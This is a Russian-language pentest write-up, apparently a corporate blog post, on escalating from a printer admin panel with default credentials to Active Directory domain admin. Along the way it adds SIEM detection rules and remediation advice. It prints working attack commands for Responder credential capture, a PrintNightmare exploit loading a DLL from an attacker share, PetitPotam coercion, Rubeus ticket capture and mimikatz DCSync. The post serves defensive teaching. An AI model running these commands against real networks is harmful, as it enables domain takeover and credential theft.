Еще в прошлом году мы c командой решили поделиться несколькими интересными векторами получения привилегий администратора домена. По отзывам, первая статья оказалась полезной и интересной. Настало время продолжить. В этом посте я расскажу о том, как получение доступа к панели администрирования принтера может привести к компрометации всего домена Active Directory с помощью эксплуатации уязвимости PrintNightmare и использования неограниченного делегирования. А коллеги из Jet CSIRT дополнили пост рекомендациями по мониторингу на каждом этапе на случай, если вы хотите мониторить такие атаки в вашем SIEM. Краткое описание — на схеме.
Подробнее — под катом.
Внимание! Данная статья носит исключительно информационный характер и предназначена для образовательных целей. Ни в коем случае не пробуйте атаки на чужие сети — это неправильно как с точки зрения этики, так и закона. Подобные действия разрешено выполнять либо в своей инфраструктуре, либо с разрешения владельца корпоративной сети (лучше — письменного).
Начало. Получаем доменную учетную запись из принтера
После того, как я подключилась в сеть в рамках работ по внутреннему тестированию на проникновение, первым делом посмотрела, какие протоколы используются, но ничего полезного для себя не нашла. Далее я всегда сканирую сети на открытые TCP-порты (445, 22, 80, 443, 8080, 8443 и др.). Попытки найти общие папки, доступные неаутентифицированным пользователям, или выгрузить список пользователей домена не были успешными. Найти уязвимости в Windows-машинах, которые можно проэксплуатировать без учетной записи, тоже не удалось.
Как мониторить этап сканирования
Как только злоумышленники попадают в сеть атакуемой организации, первая их задача — осмотреться. Этап разведки может быть очень «шумным». В самом начале, например, был использован инструмент Мasscan, который сканировал популярные TCP-порты прикладного уровня, на которых обычно работают веб-приложения (80,443,8080,8443,8000). При условии, что злоумышленник сканирует все сетевые сегменты, до которых может дотянуться, средства защиты обязательно заметят такой recon. Поэтому позаботьтесь о том, чтобы на вашем SIEM было настроено правило, выявляющее массовые обращения на популярные порты (например, больше пяти) от одного узла во внутренней сети. Вот вам псевдокод:
src.ip IN [Internal_Network] AND dst.ip IN [Internal_Network] AND ip.protocol IN (6,17) AND dst.port IN (App_Level_Ports)
COUNT(DISTINCT dst.port) >= 10
Помните: чем раньше будет этап киллчейна, на котором вы обнаружите у себя в сети «плохих парней», тем эффективнее вы сможете остановить атаку и уменьшить потенциальный импакт.
И тут настало время веб-приложений. С помощью утилиты Masscan я уже нашла хосты, где открыты TCP-порты, которые чаще всего используются веб-приложениями (80, 443, 8080, 8443, 8000). Во внутренней сети могут быть сотни и даже тысячи веб-приложений. Посмотреть их все вручную нереально. Для работы я использую eyewitness (можно использовать gowitness). Он проходится по всем веб-приложениям, пытается сделать скриншот, сортирует по категориям (например, принтеры, сетевые устройства, Unauthorized, инфраструктура) и сохраняет отчет в html. Как использую его я (да, скорее всего, можно сделать это лучше, но мне удобно так):
masscan -p 80,443,8080,8443,8000 -i eth0 | tee web_ports.txt
cat web_ports.txt | awk {‘print $6’} | sort | uniq > web_hosts.txt
nmap -p 80,443,8080,8443,8000 -iL web_hosts.txt -oX nmap_scan_web.xml
eyewitness -x nmap_scan_web.xml -d eyew --web
В отчете eyewitness я нашла принтеры Kyocera. В них, по моему опыту, в 90% случаев установлен пароль по умолчанию Admin:Admin. И в этот раз с этими учетными данными я попала в панель управления принтера.
«Это всего лишь принтер, что с него взять?» — скажете вы. Но нет.
В настройках этого принтера были указаны настройки внешней адресной книги, которая используется для загрузки информации о пользователях Active Directory, например, для отправки результата сканирования пользователю. То есть у принтера есть учетная запись, с которой он обращается к LDAP-серверу. Это уже можно использовать: запустив на своем хосте Responder (который поднимает в том числе и LDAP-сервер), я заменила имя LDAP-сервера на IP-адрес моей Kali Linux и нажала кнопку «Тест». В результате получила пароль УЗ DOMAIN\Reader в открытом виде.
Развитие атаки. Получение привилегий администратора на хосте
Первым делом я запустила коллектор Bloodhound с полученной учетной записью (про него писала в прошлой статье).
Но путей повышения привилегий через некорректные ACL не нашла. Атаки Kerberoasting и Asreproasting тоже не удались (подробнее про них можно почитать здесь). Даже мой любимый Password Spray мне не помог (это было даже обидно).
Как обнаруживать запуск коллекторов Bloodhound
Bloodhound при определенных условиях тоже может громко заявить о себе в инфраструктуре. Дело в том, что стандартные модули BH обычно обращаются к DC по LDAP без каких-либо ограничений. Например, запрашивают всех пользователей домена или все группы и компьютеры. Такие LDAP-запросы можно отслеживать, но есть несколько нюансов.
Во-первых, нужно выполнить специальные настройки аудита, а во-вторых, события, которые генерируются после этого, могут быть чрезвычайно массовыми, в зависимости от величины домена.
Итак, включаем настройки изменением следующих ключей реестра на DC:
Добавить параметр (DWORD) 15 Field Engineering = 5 по следующему пути:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostic\
Добавить параметр (DWORD) Expensive Search Results Threshold = 1 по следующему пути:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\
Добавить параметр (DWORD) Inefficient Search Results Threshold = 1 по следующему пути:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\
Этими настройками мы включим логирование всех LDAP-запросов к DC, поэтому, если домен большой, то это может нагрузить DC и SIEM. Рекомендуется предварительно оценить параметры домена и подстроить параметры Expensive Search Results Threshold и Inefficient Search Results Threshold соответственно.
Зато после этой настройки мы начнем получать события 1644, в которых можем отслеживать подозрительные обращения. К таким могут относиться, например, (objectClass=*) (objectClass=user) — выгрузка всех пользователей, или (objectClass=*) (objectClass=computer) — выгрузка информации обо всех компьютерах домена.
Зато на нескольких хостах я нашла уязвимость PrintNightmare, которая позволяет выполнить произвольный код от имени NT AUTHORITY\Система. С помощью общедоступного эксплойта, полученной ранее учетки DOMAIN\Reader и dll, при выполнении которой изменяется пароль локального пользователя Administrator, проэксплуатировала уязвимость на хосте ca02.domain.local:
python CVE-2021-1675.py domain.local\username:password@victim-ip ‘\\attacker_host\smb_share_name\dll_name.dll’
С помощью crackmapexec проверяю, сменился ли пароль. И ура! Вижу заветное Pwn3d!, которое означает, что у меня есть привилегии администратора на хосте.
Как ловить PrintNightmare
Атака PrintNightmare связана с двумя уязвимостями — CVE-2021-1675 и CVE-2021-34527, и обе они связаны со службой Print Spooler (spoolsv.exe) в операционных системах Windows.
Первой была обнаружена LPE-уязвимость CVE-2021-1675, которая позволяла пользователю без прав администратора добавлять в систему новый драйвер принтера (DLL), который запускался процессом spoolsv.exe с правами SYSTEM. Таким образом злоумышленник мог локально повысить себе привилегии на атакуемой системе. Эта уязвимость была устранена путем разрешения добавлять новые драйверы принтеров только администраторам.
Однако вскоре исследователи обнаружили, что уязвимость может быть проэксплуатирована удаленно через другой вектор. Данному RCE-способу был присвоен новый идентификатор — CVE-2021-34527, — и обычно, когда используют PrintNightmare, речь идет именно о нем. Его суть заключается в эксплуатации уязвимости функций протокола MS-RPRN (Print System Remote Protocol), а именно — RpcAddPrinterDriverEx(). Она позволяет указать в своих параметрах UNC-путь к библиотеке на другом ресурсе, который может контролировать злоумышленник. UNC-путь — это путь к файлу или директории в сети, который имеет синтаксис `\\<computer name>\<shared directory>\`.
Таким образом, злоумышленник может создать вредоносную DLL-библиотеку и разместить ее на своем ресурсе (например, SMB-шаре), а затем через удаленный вызов процедур (RPC) заставить атакуемый хост скачать данную DLL и запустить с правами SYSTEM от имени процесса spoolsv.exe.
При правильной настройке аудита PrintNightmare может быть весьма «шумным». Как можно понять из принципа его действия, ключевым моментом успешной атаки является загрузка вредоносного драйвера на атакуемый хост. Кроме того, в процессе эксплуатации осуществляется обращение к файлам внутри директории \Windows\System32\spool\drivers\x64\3\*, а еще — к ключам реестра MACHINE\SYSTEM\CurrentControlSet\Control\Print.
В Jet CSIRT мы детектируем данную атаку двумя способами — более простым, но менее сложным, и более точным.
Первый способ заключается в отслеживании специфичных событий Windows 5145 (A network share object was checked to see whether client can be granted desired access), в которых обращение происходит к шаре $IPC и именованному каналу spools с маской доступа 0x3 — ReadData (or ListDirectory), WriteData (or AddFile). Для генерации событий 5145 в политике расширенного аудита нужно включить опции:
Object Access - Audit Detailed File Share: Success/Failure
А псевдокод правила может выглядеть так:
event.id = “5145” AND
share.name = \\*\IPC$ AND
mask = “0x3” AND
target = “spoolss”
Для более надежного метода выявления нужно дополнить данное правило событиями доступа к упомянутым файлам и изменения ключей реестра. Для этого необходимы события 4663 (An attempt was made to access an object) и 4656 (A handle to an object was requested). Для их генерации в политике расширенного аудита нужно включить опции:
- Object Access - File System: Success/Failure
- Object Access - Registry: Success
Также необходимо будет настроить SACL, который будет мониторить обращения к файлам внутри директории \Windows\System32\spool\drivers\x64\3\* и ключам реестра MACHINE\SYSTEM\CurrentControlSet\Control\Print.
Должны получиться такие SACL:
- "%SystemRoot%\System32\spool",0,"S:AR(AU;OISA;DCLCDTCRSDWDWO;;;WD)"
- "MACHINE\SYSTEM\CurrentControlSet\Control\Print",0,"D:PAR(A;CI;KA;;;BA)(A;CIIO;KA;;;CO)(A;CI;KA;;;SY)(A;CI;KR;;;BU)(A;CI;KR;;;S-1-15-2-1)S:AR(AU;OICISA;DCLCWPSDWD;;;WD)"
После этого правило можно дополнить следующими условиями:
event.id = “5145” AND
share.name = \\*\IPC$ AND
mask = “0x3” AND
target = “spoolss”
event.id = “4663” AND
process.name = spoolsv.exe AND
type = “registry key” AND
target REXEX “.*\SYSTEM\CurrentControlSet\Control\Print.*”
event.id = “4656” AND
process.name = spoolsv.exe AND
target REXEX “.*windows\system32\spool\drivers.*”
Зашла по RDP и увидела, что на хосте запущен Kaspersky Endpoint Security. Иии… я просто остановила службы, потому что самозащита не была включена (ИБ-шник, который сидел рядом, очень удивился).
Финал. Получение привилегий администратора домена
Из памяти lsass.exe файлов ничего интересного получить не удалось. Но, проанализировав данные в Bloodhound, я увидела, что для этого хоста настроено неограниченное делегирование. Нашла я это с помощью кастомного запроса из репозитория:
{
"name": "Find computers that allow unconstrained delegation that aren’t domain controllers.",
"queryList": [{
"final": true,
"query": "MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2"
}]
},
Что такое неограниченное делегирование
Неограниченное делегирование — это привилегия, которая может быть назначена учетной записи компьютера или пользователя. Данная привилегия позволяет этой учетной записи проходить аутентификацию в сервисах от имени других учетных записей.
Если у вас есть привилегии локального администратора на хосте с неограниченным делегированием, вы можете получить TGT-билеты пользователей, которые проходят аутентификацию на этом хосте, и переиспользовать их до истечения срока действия.
На ca02.domain.local я запустила Rubeus.exe в режиме монитора:
Rubeus.exe /monitorinterval:1 /targetuser:DC-name$ /nowrap
С помощью эксплойта PetitPotam.py и учетки DOMAIN\Reader я заставила контроллер домена DC03 пройти аутентификацию на хосте ca02.domain.local. В результате получила TGT-билет контроллера домена DC03 (подробнее про этот и другие четыре способа эксплуатации уязвимости PetitPotam можно почитать в другом моем посте):
python3 PetitPotam.py -u username -p password -d domain.local listener dc-name
Полученный TGT-билет сохранила в файл. И затем с помощью mimikatz.exe были проведены атаки Pass-the-Ticket и DCSync для получения NTLM-хеша пароля администратора домена admin.
Рекомендации по мониторингу эксплуатации уязвимости PetitPotam описаны в посте.
Как ловить атаку DCSync
Атака DCSync заключается в легитимной возможности репликации базы данных Active Directory (ntds.dit) между контроллерами домена. Злоумышленник может заставить удаленный контроллер домена выполнить синхронизацию ndts.dit с подконтрольным ему хостом. Для проведения атаки DCSync злоумышленник должен предварительно скомпрометировать учетную запись с правами на репликацию изменений каталога домена (Replicating Directory Changes All и Replicating Directory Changes, имеющих соответствующие GUID). Необходимыми правами обладают члены групп «Администраторы», «Администраторы домена», «Администраторы предприятия» и «Контроллеры домена».
После того как злоумышленник скомпрометировал подходящую учетную запись, он может использовать удаленный протокол службы репликации каталогов (DRS — Directory Replication Service) для репликации данных из Active Directory.
Эта атака опасна тем, что злоумышленник получает хэши паролей всех учетных записей домена, в том числе — УЗ krbtgt (учетная запись в AD, которая подписывает все Kerberos-тикеты), хэш которой может быть использован для создания Golden Ticket.
Необходимые настройки аудита
DS Access - Audit Directory Service Access: Success/Failure
Псевдокод для правила:
event.id = “4662” AND
user.name NOT REGEX “.*$” AND
mask = “0x100” AND
properties = “ 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” OR “89e95b76-444d-4c62-991a-0facbeda640c” OR “9923a32a-3607-11d2-b9be-0000f87a36b2”
После этого я провела атаку Pass-the-Hash (это когда мы проходим аутентификацию с помощью NTLM-хеша пароля, а не пароля), создала учетку пользователя JetPentest и добавила ее в группы Administrators и Domain Admins. И по традиции подключилась по RDP к контроллеру домена.
Как мониторить создание УЗ администратора домена
А это совсем простенький кейс. Нужно всего лишь отслеживать добавление учетной записи в привилегированную группу администраторов домена. Согласитесь, такое случается нечасто.
Отслеживаем события 4728, где целевая группа, в которую добавляют пользователя, имеет права администратора домена. Да и добавление в другие привилегированные группы отслеживать будет довольно полезно.
Выводы
Вроде бы такая «мелочь», как пароль «по умолчанию» в админке принтера, в итоге привела к компрометации домена. Свою роль, конечно, сыграли и наличие уязвимости, для которой патч вышел за несколько месяцев до этого, и большое количество хостов с неограниченным делегированием. Это говорит о том, что стороне защиты всегда нужно быть начеку и устранять даже самые мелкие недочеты.
Для устранения недостатков, которые привели к получению привилегий администратора домена, необходимо:
Изменить все учетные данные «по умолчанию». Даже в принтерах. И выстроить процессы таким образом, чтобы впредь в сети не появлялись устройства с такими учетками.
Проверить, действительно ли нужно неограниченное делегирование хостам, для которых оно настроено. Если нет — отключить.
Включить самозащиту антивирусного ПО.
Проверить установку обновлений ОС Windows. Выяснить, почему обновление не было установлено, и скорректировать процесс управления уязвимостями.
Авторы поста:
Ирина Беляева, старший консультант по информационной безопасности компании «Инфосистемы Джет»
Александр Ахремчик, ведущий аналитик Департамента аутсорсинга Центр информационной безопасности компании «Инфосистемы Джет»
Комментарии (14)
detukov-sergey
00.00.0000 00:00Отследить BloodHound (если уж есть SIEM) можно по количеству обращений от одного хоста к большому количеству других. Будет авторизация в каждом, чтобы собрать сессии и подобное. А обычные LDAP запросы делают большое количество систем и я всплеска при запуске коллектора не видел. Хотя, зависит от режима запуска, наверное...
К тому же, скорее всего, будет инцидент, как необычное поведение пользователя, если своё правило именно под BH не писали.
artebel
00.00.0000 00:00Если у нас задача не словить инцидент и не обнаружить себя в сети, то надо бы выполнять сбор информации по AD через BoF и большими слипами. Все это даст отличную скрытность от АВПО и мониторинга.
Как я понял, в посте описан шумный пентест, никто не парился над скрытностью.
detukov-sergey
00.00.0000 00:00Так-то да, но злоумышленник, попадая в сеть, не знает точные настройки систем мониторинга. Может там статистика за сутки подводится, а может за 15 минут. Так то понятно, что никто сразу не будет запускать никакие активные сканеры и коллекторы, если надо оставаться незамеченным. Сначала трафик посмотреть. Конечные точки оттуда можно взять.
artebel
00.00.0000 00:00Если это виндовая история, то достаточно получить информацию о домене и начать очень медленную разведку
irabva
00.00.0000 00:00У коллектора Bloodhound есть опция --collectionmethod, которая позволяет выбрать, что собирать. Если указать DCOnly, то будут обращения только к контроллеру домена. Это более "тихий" вариант.
amiton
00.00.0000 00:00Добрый день, а подскажите пожалуйста.
Проверил, что неограниченное делегирование у меня включено только на 2х контроллерах домена в сети. Но никак не могу найти подводные камни того, что будет если я выключу это делегирование. Уровень леса - 2012R2. Что может пойти не так после выключения?irabva
00.00.0000 00:00Неограниченное делегирование на контроллерах домена включено по умолчанию. Я не встречала такого, чтобы на контроллерах домена его не было. Честно говоря, не знаю к чему может привести его выключение (если это вообще возможно).
Для эксплуатации неограниченного делегирования на контроллере домена необходимо уже быть администратором домена.
VeeZy_VeeZy
00.00.0000 00:00С какой вероятностью учетная запись принтера, которая могла обращаться по LDAP в сети и с которой были получены креды в открытом виде(responder), будет присутствовать в других панелях управления принтерами? От других фирм производителей. То есть , это свойство панелей управления принтеров Kyocera или встречается и у других производителей?
DaemonGloom
00.00.0000 00:00+1Умные МФУ часто позволяют использовать адресную книгу, взятую из Active Directory, и есть такая функция и разных производителей. Но будет она настроена или адресную книгу сканера в компании будет заполнять вручную — зависит от админов.
gotch
И локальный администратор ca02.domain.local - то же самое, что и администратор домена?
Грустим о KES на сервере (наше неприятное будущее), но у KSWS самозащита по умолчанию отключена, и включать ее желания нет.
irabva
Нет, локальный администратор ca02.domain.local - это не администратор домена.
gotch
Это понятно, просто видимо опубликовали до того, как написали вторую часть.
Что бы делали без unconstrained delegation, что всё же редкость?
irabva
Можно было бы попробовать проэксплуатировать уязвимость PrintNigthMare на других хостах. Возможно, удалось бы найти учетные данные или kerberos-билеты админов. Или были бы запущены процессы от администратора домена и можно было бы использовать token impersonation. Или посмотреть что есть в LSA: несколько раз встречала, что сервисы запускаются от имени УЗ, которая является администратором домена, тогда ее пароль можно получить из LSA.